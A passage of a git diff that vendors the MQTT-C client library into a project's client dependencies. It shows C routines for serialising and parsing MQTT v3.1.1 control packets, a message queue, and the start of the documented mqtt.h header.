fixed_header->remaining_length = 0; + + lshift = 0; + do { + + /* MQTT spec (2.2.3) says the maximum length is 28 bits */ + if (lshift == 28) + return MQTT_ERROR_INVALID_REMAINING_LENGTH; + + /* consume byte and assert at least 1 byte left */ + --bufsz; + ++buf; + if (bufsz == 0) return 0; + + /* parse next byte*/ + fixed_header->remaining_length += (uint32_t)((*buf & 0x7F) << lshift); + lshift += 7; + } while (*buf & 0x80); /* while continue bit is set */ + + /* consume last byte */ + --bufsz; + ++buf; + + /* check that the fixed header is valid */ + errcode = mqtt_fixed_header_rule_violation(fixed_header); + if (errcode) { + return errcode; + } + + /* check that the buffer size if GT remaining length */ + if (bufsz < fixed_header->remaining_length) { + return 0; + } + + /* return how many bytes were consumed */ + return buf - start; +} + +ssize_t mqtt_pack_fixed_header(uint8_t *buf, size_t bufsz, const struct mqtt_fixed_header *fixed_header) { + const uint8_t *start = buf; + ssize_t errcode; + uint32_t remaining_length; + + /* check for null pointers or empty buffer */ + if (fixed_header == NULL || buf == NULL) { + return MQTT_ERROR_NULLPTR; + } + + /* check that the fixed header is valid */ + errcode = mqtt_fixed_header_rule_violation(fixed_header); + if (errcode) { + return errcode; + } + + /* check that bufsz is not zero */ + if (bufsz == 0) return 0; + + /* pack control type and flags */ + *buf = (uint8_t)((((uint8_t) fixed_header->control_type) << 4) & 0xF0); + *buf = (uint8_t)(*buf | (((uint8_t) fixed_header->control_flags) & 0x0F)); + + remaining_length = fixed_header->remaining_length; + + /* MQTT spec (2.2.3) says maximum remaining length is 2^28-1 */ + if (remaining_length >= 256 * 1024 * 1024) + return MQTT_ERROR_INVALID_REMAINING_LENGTH; + + do { + /* consume byte and assert at least 1 byte left */ + --bufsz; + ++buf; + if (bufsz == 0) return 0; + + /* pack next byte */ + *buf = remaining_length & 0x7F; + if (remaining_length > 127) *buf |= 0x80; + remaining_length = remaining_length >> 7; + } while (*buf & 0x80); + + /* consume last byte */ + --bufsz; + ++buf; + + /* check that there's still enough space in buffer for packet */ + if (bufsz < fixed_header->remaining_length) { + return 0; + } + + /* return how many bytes were consumed */ + return buf - start; +} + +/* CONNECT */ +ssize_t mqtt_pack_connection_request(uint8_t *buf, size_t bufsz, + const char *client_id, + const char *will_topic, + const void *will_message, + size_t will_message_size, + const char *user_name, + const char *password, + uint8_t connect_flags, + uint16_t keep_alive) { + struct mqtt_fixed_header fixed_header; + size_t remaining_length; + const uint8_t *const start = buf; + ssize_t rv; + + /* pack the fixed headr */ + fixed_header.control_type = MQTT_CONTROL_CONNECT; + fixed_header.control_flags = 0x00; + + /* calculate remaining length and build connect_flags at the same time */ + connect_flags = (uint8_t)(connect_flags & ~MQTT_CONNECT_RESERVED); + remaining_length = 10; /* size of variable header */ + + if (client_id == NULL) { + client_id = ""; + } + /* For an empty client_id, a clean session is required */ + if (client_id[0] == '\0' && !(connect_flags & MQTT_CONNECT_CLEAN_SESSION)) { + return MQTT_ERROR_CLEAN_SESSION_IS_REQUIRED; + } + /* mqtt_string length is strlen + 2 */ + remaining_length += __mqtt_packed_cstrlen(client_id); + + if (will_topic != NULL) { + uint8_t temp; + /* there is a will */ + connect_flags |= MQTT_CONNECT_WILL_FLAG; + remaining_length += __mqtt_packed_cstrlen(will_topic); + + if (will_message == NULL) { + /* if there's a will there MUST be a will message */ + return MQTT_ERROR_CONNECT_NULL_WILL_MESSAGE; + } + remaining_length += 2 + will_message_size; /* size of will_message */ + + /* assert that the will QOS is valid (i.e. not 3) */ + temp = connect_flags & 0x18; /* mask to QOS */ + if (temp == 0x18) { + /* bitwise equality with QoS 3 (invalid)*/ + return MQTT_ERROR_CONNECT_FORBIDDEN_WILL_QOS; + } + } else { + /* there is no will so set all will flags to zero */ + connect_flags &= (uint8_t)~MQTT_CONNECT_WILL_FLAG; + connect_flags &= (uint8_t)~0x18; + connect_flags &= (uint8_t)~MQTT_CONNECT_WILL_RETAIN; + } + + if (user_name != NULL) { + /* a user name is present */ + connect_flags |= MQTT_CONNECT_USER_NAME; + remaining_length += __mqtt_packed_cstrlen(user_name); + } else { + connect_flags &= (uint8_t)~MQTT_CONNECT_USER_NAME; + } + + if (password != NULL) { + /* a password is present */ + connect_flags |= MQTT_CONNECT_PASSWORD; + remaining_length += __mqtt_packed_cstrlen(password); + } else { + connect_flags &= (uint8_t)~MQTT_CONNECT_PASSWORD; + } + + /* fixed header length is now calculated*/ + fixed_header.remaining_length = (uint32_t)remaining_length; + + /* pack fixed header and perform error checks */ + rv = mqtt_pack_fixed_header(buf, bufsz, &fixed_header); + if (rv <= 0) { + /* something went wrong */ + return rv; + } + buf += rv; + bufsz -= (size_t)rv; + + /* check that the buffer has enough space to fit the remaining length */ + if (bufsz < fixed_header.remaining_length) { + return 0; + } + + /* pack the variable header */ + *buf++ = 0x00; + *buf++ = 0x04; + *buf++ = (uint8_t) 'M'; + *buf++ = (uint8_t) 'Q'; + *buf++ = (uint8_t) 'T'; + *buf++ = (uint8_t) 'T'; + *buf++ = MQTT_PROTOCOL_LEVEL; + *buf++ = connect_flags; + buf += __mqtt_pack_uint16(buf, keep_alive); + + /* pack the payload */ + buf += __mqtt_pack_str(buf, client_id); + if (will_topic != NULL) { + buf += __mqtt_pack_str(buf, will_topic); + buf += __mqtt_pack_uint16(buf, (uint16_t)will_message_size); + memcpy(buf, will_message, will_message_size); + buf += will_message_size; + } + if (user_name != NULL) { + buf += __mqtt_pack_str(buf, user_name); + } + if (password != NULL) { + buf += __mqtt_pack_str(buf, password); + } + + /* return the number of bytes that were consumed */ + return buf - start; +} + +/* CONNACK */ +ssize_t mqtt_unpack_connack_response(struct mqtt_response *mqtt_response, const uint8_t *buf) { + const uint8_t *const start = buf; + struct mqtt_response_connack *response; + + /* check that remaining length is 2 */ + if (mqtt_response->fixed_header.remaining_length != 2) { + return MQTT_ERROR_MALFORMED_RESPONSE; + } + + response = &(mqtt_response->decoded.connack); + /* unpack */ + if (*buf & 0xFE) { + /* only bit 1 can be set */ + return MQTT_ERROR_CONNACK_FORBIDDEN_FLAGS; + } else { + response->session_present_flag = *buf++; + } + + if (*buf > 5u) { + /* only bit 1 can be set */ + return MQTT_ERROR_CONNACK_FORBIDDEN_CODE; + } else { + response->return_code = (enum MQTTConnackReturnCode) * buf++; + } + return buf - start; +} + +/* DISCONNECT */ +ssize_t mqtt_pack_disconnect(uint8_t *buf, size_t bufsz) { + struct mqtt_fixed_header fixed_header; + fixed_header.control_type = MQTT_CONTROL_DISCONNECT; + fixed_header.control_flags = 0; + fixed_header.remaining_length = 0; + return mqtt_pack_fixed_header(buf, bufsz, &fixed_header); +} + +/* PING */ +ssize_t mqtt_pack_ping_request(uint8_t *buf, size_t bufsz) { + struct mqtt_fixed_header fixed_header; + fixed_header.control_type = MQTT_CONTROL_PINGREQ; + fixed_header.control_flags = 0; + fixed_header.remaining_length = 0; + return mqtt_pack_fixed_header(buf, bufsz, &fixed_header); +} + +/* PUBLISH */ +ssize_t mqtt_pack_publish_request(uint8_t *buf, size_t bufsz, + const char *topic_name, + uint16_t packet_id, + const void *application_message, + size_t application_message_size, + uint8_t publish_flags) { + const uint8_t *const start = buf; + ssize_t rv; + struct mqtt_fixed_header fixed_header; + uint32_t remaining_length; + uint8_t inspected_qos; + + /* check for null pointers */ + if (buf == NULL || topic_name == NULL) { + return MQTT_ERROR_NULLPTR; + } + + /* inspect QoS level */ + inspected_qos = (publish_flags & MQTT_PUBLISH_QOS_MASK) >> 1; /* mask */ + + /* build the fixed header */ + fixed_header.control_type = MQTT_CONTROL_PUBLISH; + + /* calculate remaining length */ + remaining_length = (uint32_t)__mqtt_packed_cstrlen(topic_name); + if (inspected_qos > 0) { + remaining_length += 2; + } + remaining_length += (uint32_t)application_message_size; + fixed_header.remaining_length = remaining_length; + + /* force dup to 0 if qos is 0 [Spec MQTT-3.3.1-2] */ + if (inspected_qos == 0) { + publish_flags &= (uint8_t)~MQTT_PUBLISH_DUP; + } + + /* make sure that qos is not 3 [Spec MQTT-3.3.1-4] */ + if (inspected_qos == 3) { + return MQTT_ERROR_PUBLISH_FORBIDDEN_QOS; + } + fixed_header.control_flags = publish_flags & 0x7; + + /* pack fixed header */ + rv = mqtt_pack_fixed_header(buf, bufsz, &fixed_header); + if (rv <= 0) { + /* something went wrong */ + return rv; + } + buf += rv; + bufsz -= (size_t)rv; + + /* check that buffer is big enough */ + if (bufsz < remaining_length) { + return 0; + } + + /* pack variable header */ + buf += __mqtt_pack_str(buf, topic_name); + if (inspected_qos > 0) { + buf += __mqtt_pack_uint16(buf, packet_id); + } + + /* pack payload */ + memcpy(buf, application_message, application_message_size); + buf += application_message_size; + + return buf - start; +} + +ssize_t mqtt_unpack_publish_response(struct mqtt_response *mqtt_response, const uint8_t *buf) { + const uint8_t *const start = buf; + struct mqtt_fixed_header *fixed_header; + struct mqtt_response_publish *response; + + fixed_header = &(mqtt_response->fixed_header); + response = &(mqtt_response->decoded.publish); + + /* get flags */ + response->dup_flag = (fixed_header->control_flags & MQTT_PUBLISH_DUP) >> 3; + response->qos_level = (fixed_header->control_flags & MQTT_PUBLISH_QOS_MASK) >> 1; + response->retain_flag = fixed_header->control_flags & MQTT_PUBLISH_RETAIN; + + /* make sure that remaining length is valid */ + if (mqtt_response->fixed_header.remaining_length < 4) { + return MQTT_ERROR_MALFORMED_RESPONSE; + } + + /* parse variable header */ + response->topic_name_size = __mqtt_unpack_uint16(buf); + buf += 2; + response->topic_name = buf; + buf += response->topic_name_size; + + if (response->qos_level > 0) { + response->packet_id = __mqtt_unpack_uint16(buf); + buf += 2; + } + + /* get payload */ + response->application_message = buf; + if (response->qos_level == 0) { + response->application_message_size = fixed_header->remaining_length - response->topic_name_size - 2; + } else { + response->application_message_size = fixed_header->remaining_length - response->topic_name_size - 4; + } + buf += response->application_message_size; + + /* return number of bytes consumed */ + return buf - start; +} + +/* PUBXXX */ +ssize_t mqtt_pack_pubxxx_request(uint8_t *buf, size_t bufsz, + enum MQTTControlPacketType control_type, + uint16_t packet_id) { + const uint8_t *const start = buf; + struct mqtt_fixed_header fixed_header; + ssize_t rv; + if (buf == NULL) { + return MQTT_ERROR_NULLPTR; + } + + /* pack fixed header */ + fixed_header.control_type = control_type; + if (control_type == MQTT_CONTROL_PUBREL) { + fixed_header.control_flags = 0x02; + } else { + fixed_header.control_flags = 0; + } + fixed_header.remaining_length = 2; + rv = mqtt_pack_fixed_header(buf, bufsz, &fixed_header); + if (rv <= 0) { + return rv; + } + buf += rv; + bufsz -= (size_t)rv; + + if (bufsz < fixed_header.remaining_length) { + return 0; + } + + buf += __mqtt_pack_uint16(buf, packet_id); + + return buf - start; +} + +ssize_t mqtt_unpack_pubxxx_response(struct mqtt_response *mqtt_response, const uint8_t *buf) { + const uint8_t *const start = buf; + uint16_t packet_id; + + /* assert remaining length is correct */ + if (mqtt_response->fixed_header.remaining_length != 2) { + return MQTT_ERROR_MALFORMED_RESPONSE; + } + + /* parse packet_id */ + packet_id = __mqtt_unpack_uint16(buf); + buf += 2; + + if (mqtt_response->fixed_header.control_type == MQTT_CONTROL_PUBACK) { + mqtt_response->decoded.puback.packet_id = packet_id; + } else if (mqtt_response->fixed_header.control_type == MQTT_CONTROL_PUBREC) { + mqtt_response->decoded.pubrec.packet_id = packet_id; + } else if (mqtt_response->fixed_header.control_type == MQTT_CONTROL_PUBREL) { + mqtt_response->decoded.pubrel.packet_id = packet_id; + } else { + mqtt_response->decoded.pubcomp.packet_id = packet_id; + } + + return buf - start; +} + +/* SUBACK */ +ssize_t mqtt_unpack_suback_response(struct mqtt_response *mqtt_response, const uint8_t *buf) { + const uint8_t *const start = buf; + uint32_t remaining_length = mqtt_response->fixed_header.remaining_length; + + /* assert remaining length is at least 3 (for packet id and at least 1 topic) */ + if (remaining_length < 3) { + return MQTT_ERROR_MALFORMED_RESPONSE; + } + + /* unpack packet_id */ + mqtt_response->decoded.suback.packet_id = __mqtt_unpack_uint16(buf); + buf += 2; + remaining_length -= 2; + + /* unpack return codes */ + mqtt_response->decoded.suback.num_return_codes = (size_t) remaining_length; + mqtt_response->decoded.suback.return_codes = buf; + buf += remaining_length; + + return buf - start; +} + +/* SUBSCRIBE */ +ssize_t mqtt_pack_subscribe_request(uint8_t *buf, size_t bufsz, unsigned int packet_id, ...) { + va_list args; + const uint8_t *const start = buf; + ssize_t rv; + struct mqtt_fixed_header fixed_header; + unsigned int num_subs = 0; + unsigned int i; + const char *topic[MQTT_SUBSCRIBE_REQUEST_MAX_NUM_TOPICS]; + uint8_t max_qos[MQTT_SUBSCRIBE_REQUEST_MAX_NUM_TOPICS]; + + /* parse all subscriptions */ + va_start(args, packet_id); + for (;;) { + topic[num_subs] = va_arg(args, const char *); + if (topic[num_subs] == NULL) { + /* end of list */ + break; + } + + max_qos[num_subs] = (uint8_t) va_arg(args, unsigned int); + + ++num_subs; + if (num_subs >= MQTT_SUBSCRIBE_REQUEST_MAX_NUM_TOPICS) { + va_end(args); + return MQTT_ERROR_SUBSCRIBE_TOO_MANY_TOPICS; + } + } + va_end(args); + + /* build the fixed header */ + fixed_header.control_type = MQTT_CONTROL_SUBSCRIBE; + fixed_header.control_flags = 2u; + fixed_header.remaining_length = 2u; /* size of variable header */ + for (i = 0; i < num_subs; ++i) { + /* payload is topic name + max qos (1 byte) */ + fixed_header.remaining_length += __mqtt_packed_cstrlen(topic[i]) + 1; + } + + /* pack the fixed header */ + rv = mqtt_pack_fixed_header(buf, bufsz, &fixed_header); + if (rv <= 0) { + return rv; + } + buf += rv; + bufsz -= (unsigned long)rv; + + /* check that the buffer has enough space */ + if (bufsz < fixed_header.remaining_length) { + return 0; + } + + + /* pack variable header */ + buf += __mqtt_pack_uint16(buf, (uint16_t)packet_id); + + + /* pack payload */ + for (i = 0; i < num_subs; ++i) { + buf += __mqtt_pack_str(buf, topic[i]); + *buf++ = max_qos[i]; + } + + return buf - start; +} + +/* UNSUBACK */ +ssize_t mqtt_unpack_unsuback_response(struct mqtt_response *mqtt_response, const uint8_t *buf) { + const uint8_t *const start = buf; + + if (mqtt_response->fixed_header.remaining_length != 2) { + return MQTT_ERROR_MALFORMED_RESPONSE; + } + + /* parse packet_id */ + mqtt_response->decoded.unsuback.packet_id = __mqtt_unpack_uint16(buf); + buf += 2; + + return buf - start; +} + +/* UNSUBSCRIBE */ +ssize_t mqtt_pack_unsubscribe_request(uint8_t *buf, size_t bufsz, unsigned int packet_id, ...) { + va_list args; + const uint8_t *const start = buf; + ssize_t rv; + struct mqtt_fixed_header fixed_header; + unsigned int num_subs = 0; + unsigned int i; + const char *topic[MQTT_UNSUBSCRIBE_REQUEST_MAX_NUM_TOPICS]; + + /* parse all subscriptions */ + va_start(args, packet_id); + for (;;) { + topic[num_subs] = va_arg(args, const char *); + if (topic[num_subs] == NULL) { + /* end of list */ + break; + } + + ++num_subs; + if (num_subs >= MQTT_UNSUBSCRIBE_REQUEST_MAX_NUM_TOPICS) { + va_end(args); + return MQTT_ERROR_UNSUBSCRIBE_TOO_MANY_TOPICS; + } + } + va_end(args); + + /* build the fixed header */ + fixed_header.control_type = MQTT_CONTROL_UNSUBSCRIBE; + fixed_header.control_flags = 2u; + fixed_header.remaining_length = 2u; /* size of variable header */ + for (i = 0; i < num_subs; ++i) { + /* payload is topic name */ + fixed_header.remaining_length += __mqtt_packed_cstrlen(topic[i]); + } + + /* pack the fixed header */ + rv = mqtt_pack_fixed_header(buf, bufsz, &fixed_header); + if (rv <= 0) { + return rv; + } + buf += rv; + bufsz -= (unsigned long)rv; + + /* check that the buffer has enough space */ + if (bufsz < fixed_header.remaining_length) { + return 0; + } + + /* pack variable header */ + buf += __mqtt_pack_uint16(buf, (uint16_t)packet_id); + + + /* pack payload */ + for (i = 0; i < num_subs; ++i) { + buf += __mqtt_pack_str(buf, topic[i]); + } + + return buf - start; +} + +/* MESSAGE QUEUE */ +void mqtt_mq_init(struct mqtt_message_queue *mq, void *buf, size_t bufsz) { + mq->mem_start = buf; + mq->mem_end = (uint8_t *)buf + bufsz; + mq->curr = (uint8_t *)buf; + mq->queue_tail = (struct mqtt_queued_message *)mq->mem_end; + mq->curr_sz = buf == NULL ? 0 : mqtt_mq_currsz(mq); +} + +struct mqtt_queued_message *mqtt_mq_register(struct mqtt_message_queue *mq, size_t nbytes) { + /* make queued message header */ + --(mq->queue_tail); + mq->queue_tail->start = mq->curr; + mq->queue_tail->size = nbytes; + mq->queue_tail->state = MQTT_QUEUED_UNSENT; + + /* move curr and recalculate curr_sz */ + mq->curr += nbytes; + mq->curr_sz = (size_t)(mqtt_mq_currsz(mq)); + + return mq->queue_tail; +} + +void mqtt_mq_clean(struct mqtt_message_queue *mq) { + struct mqtt_queued_message *new_head; + + for (new_head = mqtt_mq_get(mq, 0); new_head >= mq->queue_tail; --new_head) { + if (new_head->state != MQTT_QUEUED_COMPLETE) break; + } + + /* check if everything can be removed */ + if (new_head < mq->queue_tail) { + mq->curr = (uint8_t *)mq->mem_start; + mq->queue_tail = (struct mqtt_queued_message *)mq->mem_end; + mq->curr_sz = (size_t)(mqtt_mq_currsz(mq)); + return; + } else if (new_head == mqtt_mq_get(mq, 0)) { + /* do nothing */ + return; + } + + /* move buffered data */ + { + size_t n = (size_t)(mq->curr - new_head->start); + size_t removing = (size_t)(new_head->start - (uint8_t *) mq->mem_start); + memmove(mq->mem_start, new_head->start, n); + mq->curr = (unsigned char *)mq->mem_start + n; + + + /* move queue */ + { + ssize_t new_tail_idx = new_head - mq->queue_tail; + memmove(mqtt_mq_get(mq, new_tail_idx), mq->queue_tail, sizeof(struct mqtt_queued_message) * (size_t)((new_tail_idx + 1))); + mq->queue_tail = mqtt_mq_get(mq, new_tail_idx); + + { + /* bump back start's */ + ssize_t i = 0; + for (; i < new_tail_idx + 1; ++i) { + mqtt_mq_get(mq, i)->start -= removing; + } + } + } + } + + /* get curr_sz */ + mq->curr_sz = (size_t)(mqtt_mq_currsz(mq)); +} + +struct mqtt_queued_message *mqtt_mq_find(const struct mqtt_message_queue *mq, enum MQTTControlPacketType control_type, const uint16_t *packet_id) { + struct mqtt_queued_message *curr; + for (curr = mqtt_mq_get(mq, 0); curr >= mq->queue_tail; --curr) { + if (curr->control_type == control_type) { + if ((packet_id == NULL && curr->state != MQTT_QUEUED_COMPLETE) || + (packet_id != NULL && *packet_id == curr->packet_id)) { + return curr; + } + } + } + return NULL; +} + + +/* RESPONSE UNPACKING */ +ssize_t mqtt_unpack_response(struct mqtt_response *response, const uint8_t *buf, size_t bufsz) { + const uint8_t *const start = buf; + ssize_t rv = mqtt_unpack_fixed_header(response, buf, bufsz); + if (rv <= 0) return rv; + else buf += rv; + switch (response->fixed_header.control_type) { + case MQTT_CONTROL_CONNACK: + rv = mqtt_unpack_connack_response(response, buf); + break; + case MQTT_CONTROL_PUBLISH: + rv = mqtt_unpack_publish_response(response, buf); + break; + case MQTT_CONTROL_PUBACK: + rv = mqtt_unpack_pubxxx_response(response, buf); + break; + case MQTT_CONTROL_PUBREC: + rv = mqtt_unpack_pubxxx_response(response, buf); + break; + case MQTT_CONTROL_PUBREL: + rv = mqtt_unpack_pubxxx_response(response, buf); + break; + case MQTT_CONTROL_PUBCOMP: + rv = mqtt_unpack_pubxxx_response(response, buf); + break; + case MQTT_CONTROL_SUBACK: + rv = mqtt_unpack_suback_response(response, buf); + break; + case MQTT_CONTROL_UNSUBACK: + rv = mqtt_unpack_unsuback_response(response, buf); + break; + case MQTT_CONTROL_PINGRESP: + return rv; + default: + return MQTT_ERROR_RESPONSE_INVALID_CONTROL_TYPE; + } + + if (rv < 0) return rv; + buf += rv; + return buf - start; +} + +/* EXTRA DETAILS */ +ssize_t __mqtt_pack_uint16(uint8_t *buf, uint16_t integer) { + uint16_t integer_htons = MQTT_PAL_HTONS(integer); + memcpy(buf, &integer_htons, 2uL); + return 2; +} + +uint16_t __mqtt_unpack_uint16(const uint8_t *buf) { + uint16_t integer_htons; + memcpy(&integer_htons, buf, 2uL); + return MQTT_PAL_NTOHS(integer_htons); +} + +ssize_t __mqtt_pack_str(uint8_t *buf, const char *str) { + uint16_t length = (uint16_t)strlen(str); + int i = 0; + /* pack string length */ + buf += __mqtt_pack_uint16(buf, length); + + /* pack string */ + for (; i < length; ++i) { + *(buf++) = (uint8_t)str[i]; + } + + /* return number of bytes consumed */ + return length + 2; +} + +static const char *const MQTT_ERRORS_STR[] = { + "MQTT_UNKNOWN_ERROR", + __ALL_MQTT_ERRORS(GENERATE_STRING) +}; + +const char *mqtt_error_str(enum MQTTErrors error) { + int offset = error - MQTT_ERROR_UNKNOWN; + if (offset >= 0) { + return MQTT_ERRORS_STR[offset]; + } else if (error == 0) { + return "MQTT_ERROR: Buffer too small."; + } else if (error > 0) { + return "MQTT_OK"; + } else { + return MQTT_ERRORS_STR[0]; + } +} + +/** @endcond*/ diff --git a/client/deps/mqtt/mqtt.h b/client/deps/mqtt/mqtt.h new file mode 100644 index 000000000..d3467cd27 --- /dev/null +++ b/client/deps/mqtt/mqtt.h @@ -0,0 +1,1640 @@ +#if !defined(__MQTT_H__) +#define __MQTT_H__ + +/* +MIT License + +Copyright(c) 2018 Liam Bindle + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files(the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions : + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ + +#if defined(__cplusplus) +extern "C" { +#endif + +// Users can override mqtt_pal.h with their own configuration by defining +// MQTTC_PAL_FILE as a header file to include (-DMQTTC_PAL_FILE=my_mqtt_pal.h). +// +// If MQTTC_PAL_FILE is used, none of the default utils will be emitted and must be +// provided by the config file. To start, I would suggest copying mqtt_pal.h +// and modifying as needed. +#if defined(MQTTC_PAL_FILE) +#define MQTTC_STR2(x) #x +#define MQTTC_STR(x) MQTTC_STR2(x) +#include MQTTC_STR(MQTTC_PAL_FILE) +#else +#include "mqtt_pal.h" +#endif /* MQTT_PAL_FILE */ + +/** + * @file + * @brief Declares all the MQTT-C functions and datastructures. + * + * @note You should \#include . + * + * @example simple_publisher.c + * A simple program to that publishes the current time whenever ENTER is pressed. + * + * Usage: + * \code{.sh} + * ./bin/simple_publisher [address [port [topic]]] + * \endcode + * + * Where \c address is the address of the MQTT broker, \c port is the port number the + * MQTT broker is running on, and \c topic is the name of the topic to publish with. Note + * that all these arguments are optional and the defaults are \c address = \c "test.mosquitto.org", + * \c port = \c "1883", and \c topic = "datetime". + * + * @example simple_subscriber.c + * A simple program that subscribes to a single topic and prints all updates that are received. + * + * Usage: + * \code{.sh} + * ./bin/simple_subscriber [address [port [topic]]] + * \endcode + * + * Where \c address is the address of the MQTT broker, \c port is the port number the + * MQTT broker is running on, and \c topic is the name of the topic subscribe to. Note + * that all these arguments are optional and the defaults are \c address = \c "test.mosquitto.org", + * \c port = \c "1883", and \c topic = "datetime". + * + * @example reconnect_subscriber.c + * Same program as \ref simple_subscriber.c, but using the automatic reconnect functionality. + * + * @example bio_publisher.c + * Same program as \ref simple_publisher.c, but uses a unencrypted BIO socket. + * + * @example openssl_publisher.c + * Same program as \ref simple_publisher.c, but over an encrypted connection using OpenSSL. + * + * Usage: + * \code{.sh} + * ./bin/openssl_publisher ca_file [address [port [topic]]] + * \endcode + * + * + * @defgroup api API + * @brief Documentation of everything you need to know to use the MQTT-C client. + * + * This module contains everything you need to know to use MQTT-C in your application. + * For usage examples see: + * - @ref simple_publisher.c + * - @ref simple_subscriber.c + * - @ref reconnect_subscriber.c + * - @ref bio_publisher.c + * - @ref openssl_publisher.c + * + * @note MQTT-C can be used in both single-threaded and multi-threaded applications. All + * the functions in \ref api are thread-safe. + * + * @defgroup packers Control Packet Serialization + * @brief Developer documentation of the functions and datastructures used for serializing MQTT + * control packets. + * + * @defgroup unpackers Control Packet Deserialization + * @brief Developer documentation of the functions and datastructures used for deserializing MQTT + * control packets. + * + * @defgroup details Utilities + * @brief Developer documentation for the utilities used to implement the MQTT-C client. + * + * @note To deserialize a packet from a buffer use \ref mqtt_unpack_response (it's the only + * function you need). + */ + + +/** + * @brief An enumeration of the MQTT control packet types. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: MQTT Control Packet Types + * + */ +enum MQTTControlPacketType { + MQTT_CONTROL_CONNECT = 1u, + MQTT_CONTROL_CONNACK = 2u, + MQTT_CONTROL_PUBLISH = 3u, + MQTT_CONTROL_PUBACK = 4u, + MQTT_CONTROL_PUBREC = 5u, + MQTT_CONTROL_PUBREL = 6u, + MQTT_CONTROL_PUBCOMP = 7u, + MQTT_CONTROL_SUBSCRIBE = 8u, + MQTT_CONTROL_SUBACK = 9u, + MQTT_CONTROL_UNSUBSCRIBE = 10u, + MQTT_CONTROL_UNSUBACK = 11u, + MQTT_CONTROL_PINGREQ = 12u, + MQTT_CONTROL_PINGRESP = 13u, + MQTT_CONTROL_DISCONNECT = 14u +}; + +/** + * @brief A structure that I will use to keep track of some data needed + * to setup the connection to the broker. + * + * An instance of this struct will be created in my \c main(). Then, whenever + * \ref reconnect_client is called, this instance will be passed. + */ +struct reconnect_state_t { + const char *hostname; + const char *port; + const char *topic; + uint8_t *sendbuf; + size_t sendbufsz; + uint8_t *recvbuf; + size_t recvbufsz; +}; + +/** + * @brief The fixed header of an MQTT control packet. + * @ingroup unpackers + * + * @see + * MQTT v3.1.1: Fixed Header + * + */ +struct mqtt_fixed_header { + /** The type of packet. */ + enum MQTTControlPacketType control_type; + + /** The packets control flags.*/ + uint32_t control_flags: 4; + + /** The remaining size of the packet in bytes (i.e. the size of variable header and payload).*/ + uint32_t remaining_length; +}; + +/** + * @brief The protocol identifier for MQTT v3.1.1. + * @ingroup packers + * + * @see + * MQTT v3.1.1: CONNECT Variable Header. + * + */ +#define MQTT_PROTOCOL_LEVEL 0x04 + +/** + * @brief A macro used to declare the enum MQTTErrors and associated + * error messages (the members of the num) at the same time. + */ +#define __ALL_MQTT_ERRORS(MQTT_ERROR) \ + MQTT_ERROR(MQTT_ERROR_NULLPTR) \ + MQTT_ERROR(MQTT_ERROR_CONTROL_FORBIDDEN_TYPE) \ + MQTT_ERROR(MQTT_ERROR_CONTROL_INVALID_FLAGS) \ + MQTT_ERROR(MQTT_ERROR_CONTROL_WRONG_TYPE) \ + MQTT_ERROR(MQTT_ERROR_CONNECT_CLIENT_ID_REFUSED) \ + MQTT_ERROR(MQTT_ERROR_CONNECT_NULL_WILL_MESSAGE) \ + MQTT_ERROR(MQTT_ERROR_CONNECT_FORBIDDEN_WILL_QOS) \ + MQTT_ERROR(MQTT_ERROR_CONNACK_FORBIDDEN_FLAGS) \ + MQTT_ERROR(MQTT_ERROR_CONNACK_FORBIDDEN_CODE) \ + MQTT_ERROR(MQTT_ERROR_PUBLISH_FORBIDDEN_QOS) \ + MQTT_ERROR(MQTT_ERROR_SUBSCRIBE_TOO_MANY_TOPICS) \ + MQTT_ERROR(MQTT_ERROR_MALFORMED_RESPONSE) \ + MQTT_ERROR(MQTT_ERROR_UNSUBSCRIBE_TOO_MANY_TOPICS) \ + MQTT_ERROR(MQTT_ERROR_RESPONSE_INVALID_CONTROL_TYPE) \ + MQTT_ERROR(MQTT_ERROR_CONNECT_NOT_CALLED) \ + MQTT_ERROR(MQTT_ERROR_SEND_BUFFER_IS_FULL) \ + MQTT_ERROR(MQTT_ERROR_SOCKET_ERROR) \ + MQTT_ERROR(MQTT_ERROR_MALFORMED_REQUEST) \ + MQTT_ERROR(MQTT_ERROR_RECV_BUFFER_TOO_SMALL) \ + MQTT_ERROR(MQTT_ERROR_ACK_OF_UNKNOWN) \ + MQTT_ERROR(MQTT_ERROR_NOT_IMPLEMENTED) \ + MQTT_ERROR(MQTT_ERROR_CONNECTION_REFUSED) \ + MQTT_ERROR(MQTT_ERROR_SUBSCRIBE_FAILED) \ + MQTT_ERROR(MQTT_ERROR_CONNECTION_CLOSED) \ + MQTT_ERROR(MQTT_ERROR_INITIAL_RECONNECT) \ + MQTT_ERROR(MQTT_ERROR_INVALID_REMAINING_LENGTH) \ + MQTT_ERROR(MQTT_ERROR_CLEAN_SESSION_IS_REQUIRED) \ + MQTT_ERROR(MQTT_ERROR_RECONNECT_FAILED) \ + MQTT_ERROR(MQTT_ERROR_RECONNECTING) + +/* todo: add more connection refused errors */ + +/** + * @brief A macro used to generate the enum MQTTErrors from + * \ref __ALL_MQTT_ERRORS + * @see __ALL_MQTT_ERRORS +*/ +#define GENERATE_ENUM(ENUM) ENUM, + +/** + * @brief A macro used to generate the error messages associated with + * MQTTErrors from \ref __ALL_MQTT_ERRORS + * @see __ALL_MQTT_ERRORS +*/ +#define GENERATE_STRING(STRING) #STRING, + + +/** + * @brief An enumeration of error codes. Error messages can be retrieved by calling \ref mqtt_error_str. + * @ingroup api + * + * @see mqtt_error_str + */ +enum MQTTErrors { + MQTT_ERROR_UNKNOWN = INT_MIN, + __ALL_MQTT_ERRORS(GENERATE_ENUM) + MQTT_OK = 1 +}; + +/** + * @brief Returns an error message for error code, \p error. + * @ingroup api + 